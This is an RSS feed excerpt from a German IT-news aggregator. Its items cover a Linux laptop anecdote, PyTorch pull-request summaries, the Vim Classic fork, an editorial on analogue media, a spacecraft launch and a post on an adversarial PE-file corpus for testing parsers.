<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I was very excited to get my 'new' T14s Ryzen 5 16gb laptop. So keen to get Fedora installed and it felt so mega swift. Looked clean, tidy, snappy.</p> <p>However, after the main updates, the issues occurred.</p> <p>VLC media player refused to play the headphones continuously, only in an initial burst then gone, silent.</p> <p>Dragon media player would play but then crashed, the whole system.</p> <p>Next, no boot - latest kernel had gone bad. So revert to the one before. That then went bad also.</p> <p>Revert to the one remaining and give up.</p> <p>So, Ubuntu 24.04 and after the bizarre issue upon first run (maybe Wayland), where icon buttons to click registered the click (changed colour slightly) but they wouldnt go anywhere. Not all on a page, just one or two when the other clickable parts worked fine...so try xorg and then seemingly plane sailing.</p> <p>Now with my usual apps installed obsidian, vlc, writer, chrome...and some basic aesthetic changes, maybe, just maybe, I have the stable and fast and pleasant looking linux setup I was after.</p> <p>Also will mention for those who do not know and experience similar issues - on both my L390 and this T14S, when using an aftermarket power charger, of the right wattage, it causes the touchpad cursor to become laggy, a bit drunken swaying, heavy. If you experience the same issue, ponder it could be the charger. As in my case using the proper Lenovo charger solved the issue.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/JohanNagel79"> /u/JohanNagel79 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1u5a41p/from_fedora_back_to_ubuntu/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1u5a41p/from_fedora_back_to_ubuntu/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[ciflow/trunk/186323: Type annotations (and runtime fallout) for torch/__init__.py (#186323)]]></title>
<description><![CDATA[Summary:
Pull Request resolved: #186323
Removes # mypy: allow-untyped-defs from torch/__init__.py (and adds a matching pyrefly.toml sub-config) and reworks how the magic methods on SymInt, SymFloat, and SymBool are typed.
Previously each class carried a long hand-written list of placeholder stubs...]]></description>
<link>https://tsecurity.de/de/3596460/downloads/ciflowtrunk186323-type-annotations-and-runtime-fallout-for-torchinitpy-186323/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3596460/downloads/ciflowtrunk186323-type-annotations-and-runtime-fallout-for-torchinitpy-186323/</guid>
<pubDate>Sun, 14 Jun 2026 05:01:05 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Summary:<br>
Pull Request resolved: <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4594167766" data-permission-text="Title is private" data-url="https://github.com/pytorch/pytorch/issues/186323" data-hovercard-type="pull_request" data-hovercard-url="/pytorch/pytorch/pull/186323/hovercard" href="https://github.com/pytorch/pytorch/pull/186323">#186323</a></p>
<p>Removes <code># mypy: allow-untyped-defs</code> from <code>torch/__init__.py</code> (and adds a matching <code>pyrefly.toml</code> sub-config) and reworks how the magic methods on <code>SymInt</code>, <code>SymFloat</code>, and <code>SymBool</code> are typed.</p>
<p>Previously each class carried a long hand-written list of placeholder stubs like <code>def __add__(self, other) -&gt; "SymInt": ...</code>. These didn't model the actual promotion rules — e.g. <code>SymInt + float</code> returns <code>SymFloat</code>, <code>Tensor + SymT</code> returns <code>Tensor</code>, and arithmetic on <code>SymBool</code> promotes to <code>SymInt</code>. Three new generic mixins encode those rules once and are reused across all three classes:</p>
<ul>
<li><code>_SymTypingMagicAlsoBool[_PrimType, _BecomesIntPrimType, _BecomesIntSymType, _FloatPromotionType]</code> — comparisons (<code>==</code>, <code>!=</code>, <code>&lt;</code>, <code>&lt;=</code>, <code>&gt;</code>, <code>&gt;=</code>) and the bool-promoting arithmetic ops (<code>+</code>, <code>-</code>, <code>*</code>, plus their <code>r</code>-variants), with <code>_FloatPromotionType</code> controlling whether the result can be <code>SymFloat</code>.</li>
<li><code>_SymTypingMagic[_PrimType, _SymType, _FloatPromotionType]</code> — the rest of the numeric magic methods (<code>abs</code>, <code>neg</code>, <code>floor</code>, <code>ceil</code>, <code>trunc</code>, <code>mod</code>, <code>lshift</code>/<code>rshift</code>, <code>pow_by_natural</code>, the <code>__sym_*__</code> math wrappers, <code>__int_truediv__</code> / <code>__int_floordiv__</code>, etc.).</li>
<li><code>_SymTypingMagicBitwise[_BitwiseLikeType]</code> — <code>__and__</code>, <code>__or__</code>, <code>__xor__</code> and their reflected forms.</li>
</ul>
<p><code>SymInt</code>/<code>SymFloat</code>/<code>SymBool</code> then become small concrete subclasses parameterized over the right operand and result types (e.g. <code>SymFloat</code>'s float-promotion type is <code>_Never</code> since it doesn't promote further).</p>
<p>Runtime side, <code>sym_node.py</code> gains a real <code>xor</code> entry in <code>bitwise_ops</code>, <code>only_bool_magic_methods</code>, and the dispatch table (with a new <code>_sympy_xor</code>), and <code>also_bool_magic_methods</code> is widened from just <code>{"eq"}</code> to the full comparison set <code>{"eq", "ge", "gt", "le", "lt", "ne"}</code> so the methods installed at runtime line up with what the new mixin advertises. A <code>magic_methods_excl</code> helper set is added for the remainder.</p>
<p>Other fallout from removing <code>allow-untyped-defs</code>:</p>
<ul>
<li><code>PySymType</code> is exported from <code>torch._C</code> stubs and threaded into the asymmetric comparison-op signatures generated by <code>tools/pyi/gen_pyi.py</code>, so <code>Tensor.__lt__(SymInt)</code> etc. type-check.</li>
<li><code>SymInt.has_hint()</code>, <code>SymInt.hint</code>, <code>SymInt.constant</code> move from ad-hoc <code>.node.*</code> access to typed <code>property</code> accessors; <code>definitely_true_hint</code>/etc. are updated to use them.</li>
<li><code>SymNode.shape_env</code> is <code>Optional</code>, so callers in <code>symbolic_shapes.py</code> now raise explicit <code>AssertionError("shape_env should not be None")</code> instead of relying on it being set. A couple of <code>maybe_as_int()</code> / <code>maybe_as_float()</code> call sites are tightened with walrus assignment to avoid calling the method twice.</li>
<li><code># pyrefly: ignore[missing-attribute]</code> is added where <code>SymInt.node</code> is duck-typed across <code>SymNode | NestedIntNode | ConstantIntNode | LocalIntNode</code> and the attribute only exists on some.</li>
</ul>
<p>Review order: start with <code>torch/__init__.py</code> — the three new mixins and the rewritten <code>SymInt</code>/<code>SymFloat</code>/<code>SymBool</code> definitions are where the design lives. Then <code>torch/fx/experimental/sym_node.py</code> for the runtime registration of <code>xor</code> and the broadened <code>also_bool_magic_methods</code>. Everything else is small call-site adjustments to satisfy the stricter typing.</p>
<p>Test Plan:<br>
CI.</p>
<p>Authored with Claude.</p>
<p>Reviewed By: bobrenjc93</p>
<p>Differential Revision: D106389841</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Vim Classic 8.3 Launched as an AI-Free Vim Fork]]></title>
<description><![CDATA[This month saw the release of Vim Classic 8.3, the first stable version of a new long-term support fork of Vim maintained without generative AI tools. Linuxiac reports:

The release is based on Vim 8.2.0148 and includes selected bug fixes and patches backported from later upstream Vim releases. V...]]></description>
<link>https://tsecurity.de/de/3596120/it-security-nachrichten/vim-classic-83-launched-as-an-ai-free-vim-fork/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3596120/it-security-nachrichten/vim-classic-83-launched-as-an-ai-free-vim-fork/</guid>
<pubDate>Sat, 13 Jun 2026 21:52:57 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This month saw the release of Vim Classic 8.3, the first stable version of a new long-term support fork of Vim maintained without generative AI tools. Linuxiac reports:

The release is based on Vim 8.2.0148 and includes selected bug fixes and patches backported from later upstream Vim releases. Vim Classic was first announced by [SourceHut's CEO/founder] Drew DeVault in March 2026 after he objected to LLM-assisted development in Vim and Neovim. In his announcement, DeVault said he no longer wanted to use software developed with LLM assistance and introduced Vim Classic as a fork for users who want to continue using Vim without that involvement... Vim Classic follows Vim's charityware model and continues to direct users toward Bram Moolenaar's long-running support for children in Uganda. The release is distributed as a signed source tarball from SourceHut, while future important announcements are expected through the project's mailing list. 

"Vim is important to me..." DeVault wrote in March. (DeVault even tattooed "hjkl" on his right arm.) "[A]lmost every word I have ever committed to posterity, through this blog, in my code, all of the docs I've written, emails I've sent, and more, almost all of it has passed through Vim." 

But DeVault wrote that he also cares about AI's impact on air pollution, fresh water supplies, global supply chains, and the working conditions of miners in African companies:
And at a moment when the climate demands immediate action to reduce our footprint on this planet, the AI boom is driving data centers to consume a full 1.5% of the world's total energy production in order to eliminate jobs and replace them with a robot that lies... All this to enrich the few, centralize power, reduce competition, and underwrite an enormous bubble that, once it bursts, will ruin the lives of millions of the world's poor and marginalized classes. 

I don't think it's cute that someone vibe coded "battleship" in VimScript. I think it's more important that we stop collectively pretending that we don't understand how awful all of this is. I don't want to use software which has slop in it. I do what I can to avoid it, and sadly even Vim now comes under scrutiny in that effort as both Vim and NeoVim are relying on LLMs to develop the software... To keep my conscience clear, and continue to enjoy the relationship I have with this amazing piece of software, I have forked Vim... 

Since forking from this base, I have backported a handful of patches, most of which address CVEs discovered after this release, but others which address minor bug fixes. I also penned a handful of original patches which bring the codebase from this time up to snuff for building it on newer toolchains... 
I invite you to use Vim Classic, if you feel the same way as me, and to maintain it with me, contributing the patches you need to support your own use cases.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Vim+Classic+8.3+Launched+as+an+AI-Free+Vim+Fork%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F06%2F13%2F0524209%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F06%2F13%2F0524209%2Fvim-classic-83-launched-as-an-ai-free-vim-fork%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://news.slashdot.org/story/26/06/13/0524209/vim-classic-83-launched-as-an-ai-free-vim-fork?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[trunk/1f159f1d33b4d6042cc00743cf0228c6eb44cb0f: Revert "Use C++20 default member initializers for bit-fields (#183992)"]]></title>
<description><![CDATA[This reverts commit 1ac76df.
Reverted #183992 on behalf of https://github.com/pytorch-auto-revert due to Reverted automatically by pytorch's autorevert, to avoid this behaviour add the tag autorevert: disable (comment)]]></description>
<link>https://tsecurity.de/de/3595260/downloads/trunk1f159f1d33b4d6042cc00743cf0228c6eb44cb0f-revert-use-c-20-default-member-initializers-for-bit-fields-183992/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3595260/downloads/trunk1f159f1d33b4d6042cc00743cf0228c6eb44cb0f-revert-use-c-20-default-member-initializers-for-bit-fields-183992/</guid>
<pubDate>Sat, 13 Jun 2026 10:46:38 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This reverts commit <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/pytorch/pytorch/commit/1ac76dfd62efdc5599afc6cdb323b9a9faba7719/hovercard" href="https://github.com/pytorch/pytorch/commit/1ac76dfd62efdc5599afc6cdb323b9a9faba7719"><tt>1ac76df</tt></a>.</p>
<p>Reverted <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4458271458" data-permission-text="Title is private" data-url="https://github.com/pytorch/pytorch/issues/183992" data-hovercard-type="pull_request" data-hovercard-url="/pytorch/pytorch/pull/183992/hovercard" href="https://github.com/pytorch/pytorch/pull/183992">#183992</a> on behalf of <a href="https://github.com/pytorch-auto-revert">https://github.com/pytorch-auto-revert</a> due to Reverted automatically by pytorch's autorevert, to avoid this behaviour add the tag autorevert: disable (<a href="https://github.com/pytorch/pytorch/pull/183992#issuecomment-4697981861" data-hovercard-type="pull_request" data-hovercard-url="/pytorch/pytorch/pull/183992/hovercard">comment</a>)</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[trunk/1ac76dfd62efdc5599afc6cdb323b9a9faba7719: Use C++20 default member initializers for bit-fields (#183992)]]></title>
<description><![CDATA[Pull Request resolved: #183992
Approved by: https://github.com/Skylion007]]></description>
<link>https://tsecurity.de/de/3595192/downloads/trunk1ac76dfd62efdc5599afc6cdb323b9a9faba7719-use-c-20-default-member-initializers-for-bit-fields-183992/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3595192/downloads/trunk1ac76dfd62efdc5599afc6cdb323b9a9faba7719-use-c-20-default-member-initializers-for-bit-fields-183992/</guid>
<pubDate>Sat, 13 Jun 2026 10:01:49 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Pull Request resolved: <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4458271458" data-permission-text="Title is private" data-url="https://github.com/pytorch/pytorch/issues/183992" data-hovercard-type="pull_request" data-hovercard-url="/pytorch/pytorch/pull/183992/hovercard" href="https://github.com/pytorch/pytorch/pull/183992">#183992</a><br>
Approved by: <a href="https://github.com/Skylion007">https://github.com/Skylion007</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[trunk/47af5b13f1b44e2cede51de486fd472ebcc377e0: Use C++20 default member initializers for bit-fields (#183992)]]></title>
<description><![CDATA[Pull Request resolved: #183992
Approved by: https://github.com/Skylion007]]></description>
<link>https://tsecurity.de/de/3594869/downloads/trunk47af5b13f1b44e2cede51de486fd472ebcc377e0-use-c-20-default-member-initializers-for-bit-fields-183992/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3594869/downloads/trunk47af5b13f1b44e2cede51de486fd472ebcc377e0-use-c-20-default-member-initializers-for-bit-fields-183992/</guid>
<pubDate>Sat, 13 Jun 2026 04:15:59 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Pull Request resolved: <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4458271458" data-permission-text="Title is private" data-url="https://github.com/pytorch/pytorch/issues/183992" data-hovercard-type="pull_request" data-hovercard-url="/pytorch/pytorch/pull/183992/hovercard" href="https://github.com/pytorch/pytorch/pull/183992">#183992</a><br>
Approved by: <a href="https://github.com/Skylion007">https://github.com/Skylion007</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Guardian view on the analogue resurgence: the shock of the old | Editorial]]></title>
<description><![CDATA[Long-abandoned formats such as cassettes and VHS tapes are finding new life as consumers seek a digital detoxTen years after the last video recorder manufacturer ceased production, the first straight-to-video movie for two decades – This Is How the World Ends – was released this month. The resurg...]]></description>
<link>https://tsecurity.de/de/3592803/it-nachrichten/the-guardian-view-on-the-analogue-resurgence-the-shock-of-the-old-editorial/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3592803/it-nachrichten/the-guardian-view-on-the-analogue-resurgence-the-shock-of-the-old-editorial/</guid>
<pubDate>Fri, 12 Jun 2026 09:50:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Long-abandoned formats such as cassettes and VHS tapes are finding new life as consumers seek a digital detox</p><p>Ten years after the last video recorder manufacturer ceased production, <a href="https://www.theguardian.com/film/2026/jun/04/roberto-dos-santos-on-directing-the-first-straight-to-vhs-movie-in-20-years">the first straight-to-video movie</a> for two decades – This Is How the World Ends – was released this month. The resurgence of vinyl began long ago; sales are at their highest level <a href="https://www.bbc.co.uk/news/articles/cd6ll93xdplo">for over 30 years</a>. But record buyers enthuse about the warmth of their sound and the generous visual expanse of album covers. In contrast, the new movie is shot in HD; the director acknowledges that those watching it on video will see a cropped, fuzzier image. The point of the exercise – beyond creating a buzz – lies not in the inherent qualities of VHS, but the effect of its rarity on the viewer.</p><p>When everything is available in high definition with one swipe of your screen, cumbersome physical formats that must be hunted down appear both nostalgically inviting and strikingly fresh. Last year, Taylor Swift’s The Life of a Showgirl was released in <a href="https://www.independent.co.uk/arts-entertainment/music/taylor-swift-life-of-showgirl-versions-albums-fans-b2850438.html">multiple physical formats</a>, including <a href="https://theconversation.com/cassette-tapes-are-making-a-comeback-yes-really-268108">cassette</a> and CD – technically digital, but also enjoying a <a href="https://www.theguardian.com/music/article/2024/jul/28/cd-sales-rise-taylor-swift-collection-nostalgia-90s-oasis-bashy-metronomy-kitty-liv">revival</a> thanks to its retro feel. The title track of her previous album, The Tortured Poets Department, mocked a lover’s attachment to his typewriter, notoriously favoured by hipsters.</p> <a href="https://www.theguardian.com/commentisfree/2026/jun/11/the-guardian-view-on-the-analogue-resurgence-the-shock-of-the-old">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[ciflow/trunk/187083: Move backend-specific c10d files into per-backend subfolders (#187083)]]></title>
<description><![CDATA[Summary:
Pull Request resolved: #187083
Reorganizes torch/csrc/distributed/c10d by moving non-public, backend-specific implementation files and the TCPStore backend files into per-backend subfolders, while leaving the public-facing classes at the top level (the ProcessGroupGloo/NCCL/MPI/UCC backe...]]></description>
<link>https://tsecurity.de/de/3592206/downloads/ciflowtrunk187083-move-backend-specific-c10d-files-into-per-backend-subfolders-187083/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3592206/downloads/ciflowtrunk187083-move-backend-specific-c10d-files-into-per-backend-subfolders-187083/</guid>
<pubDate>Fri, 12 Jun 2026 04:01:29 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Summary:<br>
Pull Request resolved: <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4644176746" data-permission-text="Title is private" data-url="https://github.com/pytorch/pytorch/issues/187083" data-hovercard-type="pull_request" data-hovercard-url="/pytorch/pytorch/pull/187083/hovercard" href="https://github.com/pytorch/pytorch/pull/187083">#187083</a></p>
<p>Reorganizes <code>torch/csrc/distributed/c10d</code> by moving non-public, backend-specific implementation files and the TCPStore backend files into per-backend subfolders, while leaving the public-facing classes at the top level (the <code>ProcessGroupGloo</code>/<code>NCCL</code>/<code>MPI</code>/<code>UCC</code> backends and the <code>Store</code>/<code>TCPStore</code>/<code>FileStore</code>/<code>HashStore</code>/<code>PrefixStore</code> classes all stay put).</p>
<p>The moves are: <code>store/</code> gets <code>TCPStoreBackend.{cpp,hpp}</code> and <code>TCPStoreLibUvBackend.cpp</code>; <code>gloo/</code> gets <code>ProcessGroupGlooCuda.cpp</code>, <code>ProcessGroupGlooDetail.hpp</code>, and <code>GlooDeviceFactory.{cpp,hpp}</code>; <code>ucc/</code> gets <code>UCCTracing.{cpp,hpp}</code> and <code>UCCUtils.{cpp,hpp}</code>; <code>nccl/</code> gets <code>NCCLXStub.hpp</code>.</p>
<p><code>NCCLUtils.{cpp,hpp}</code> was deliberately kept at the top level even though it is backend-specific: it is included by several call sites outside <code>caffe2</code> (in <code>gen_ai</code>, <code>ads_mkl</code>, and <code>fbgemm_gpu</code>), so relocating it would be a wider, riskier change better done on its own. As a result the new <code>nccl/</code> folder currently holds only <code>NCCLXStub.hpp</code>.</p>
<p>All include sites were updated, covering both the canonical <code>torch/csrc/distributed/c10d/...</code> include form and the legacy short <code>c10d/...</code> form (used by <code>fb/GlooDeviceFactory.cpp</code>). Build wiring was updated in <code>build_variables.bzl</code> -- the canonical source list consumed by CMake (via <code>append_filelist</code> in <code>cmake/Codegen.cmake</code>), OSS Bazel, and OSS Buck -- and in the internal <code>fb/fbcode/target_definitions.bzl</code> for <code>ProcessGroupGlooCuda.cpp</code>. Headers are picked up by recursive globs, so no header-list edits were needed.</p>
<p>This is a pure file move: contents are unchanged apart from the relocated <code>#include</code> paths, so correctness is established by a clean build rather than by behavioral tests.</p>
<p>Authored with the assistance of an AI coding assistant (Claude Code).</p>
<p>Test Plan:<br>
Confirmed no references to the old paths remain anywhere in <code>fbcode</code>, then ran the fbcode lint and build tooling:</p>
<div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="arc f
arc lint
arc lint --take AUTODEPS --apply-patches
buck2 build fbcode//caffe2:_libtorch fbcode//caffe2:_libtorch_cuda"><pre class="notranslate"><code>arc f
arc lint
arc lint --take AUTODEPS --apply-patches
buck2 build fbcode//caffe2:_libtorch fbcode//caffe2:_libtorch_cuda
</code></pre></div>
<p><code>arc f</code> and <code>arc lint</code> reported no issues; AUTODEPS produced no dependency changes (the moves stayed within existing Buck targets); both the CPU (<code>_libtorch</code>) and CUDA (<code>_libtorch_cuda</code>) libraries built successfully (exit 0).</p>
<p>Reviewed By: kapilsh</p>
<p>Differential Revision: D108332288</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Race against re-entry: Swift's would-be saviour straps itself to a rocket]]></title>
<description><![CDATA[Katalyst's LINK spacecraft is go for integration, with a launch from Kwajalein expected within weeks]]></description>
<link>https://tsecurity.de/de/3591278/it-nachrichten/race-against-re-entry-swifts-would-be-saviour-straps-itself-to-a-rocket/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3591278/it-nachrichten/race-against-re-entry-swifts-would-be-saviour-straps-itself-to-a-rocket/</guid>
<pubDate>Thu, 11 Jun 2026 18:33:16 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Katalyst's LINK spacecraft is go for integration, with a launch from Kwajalein expected within weeks]]></content:encoded>
</item>
<item>
<title><![CDATA[I built 99 adversarially malformed PE files to test tool robustness - here’s what happened]]></title>
<description><![CDATA[I designed a 99‑fixture adversarial PE corpus, where each binary contains one controlled corruption pattern with full ground‑truth metadata. The goal was to answer a simple question: How do PE tools behave when the binary stops playing by the rules? The fixtures cover 8 anomaly classes:  entrypoi...]]></description>
<link>https://tsecurity.de/de/3590620/malware-trojaner-viren/i-built-99-adversarially-malformed-pe-files-to-test-tool-robustness-heres-what-happened/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3590620/malware-trojaner-viren/i-built-99-adversarially-malformed-pe-files-to-test-tool-robustness-heres-what-happened/</guid>
<pubDate>Thu, 11 Jun 2026 15:02:26 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I designed a 99‑fixture adversarial PE corpus, where each binary contains one controlled corruption pattern with full ground‑truth metadata. The goal was to answer a simple question:</p> <p><strong>How do PE tools behave when the binary stops playing by the rules?</strong></p> <p>The fixtures cover 8 anomaly classes:</p> <ul> <li>entrypoint manipulation </li> <li>section‑table corruption </li> <li>Optional Header inconsistencies </li> <li>directory contradictions </li> <li>TLS anomalies </li> <li>resource‑tree recursion </li> <li>Authenticode corruption </li> <li>entropy edge cases </li> </ul> <p>I tested 6 tools representing the major parsing philosophies:</p> <ul> <li>IOCX </li> <li>Ghidra </li> <li>Detect It Easy </li> <li>radare2 </li> <li>PEview </li> <li>CFF Explorer </li> </ul> <p><strong>The results were eye‑opening:</strong></p> <ul> <li><strong>Literal tools</strong> (r2, PEview) preserved bytes but gave no warnings </li> <li><strong>Semantic tools</strong> (CFF) silently normalised corruption </li> <li><strong>Heuristic tools</strong> (DIE) ignored structure entirely </li> <li><strong>Reconstructive loaders</strong> (Ghidra) rewrote metadata, omitted fields, and crashed on entropy fixtures </li> <li><strong>Hybrid literal‑semantic tools</strong> (IOCX) preserved raw metadata and surfaced anomalies explicitly </li> </ul> <p>Full write-up:</p> <p><a href="https://medium.com/@malx-labs/the-adversarial-pe-analysis-series-part-1-why-pe-parsers-break-introducing-the-99-adversarial-1769556ab473?source=friends_link&amp;sk=a053eaffcc2642062af3931c49ba6064">The Adversarial PE Analysis Series, Part 1 — Why PE Parsers Break</a></p> <p><strong>Corpus and fixture spec</strong>: <a href="https://github.com/iocx-dev/iocx">https://github.com/iocx-dev/iocx</a></p> <p>(fixtures are under <code>/tests/contract/fixtures/layer3_adversarial)</code></p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/iocx_dev"> /u/iocx_dev </a> <br> <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1u2wwj6/i_built_99_adversarially_malformed_pe_files_to/">[link]</a></span>   <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1u2wwj6/i_built_99_adversarially_malformed_pe_files_to/">[comments]</a></span>]]></content:encoded>
</item>
</channel>
</rss>
<!-- Generated in 0,78ms -->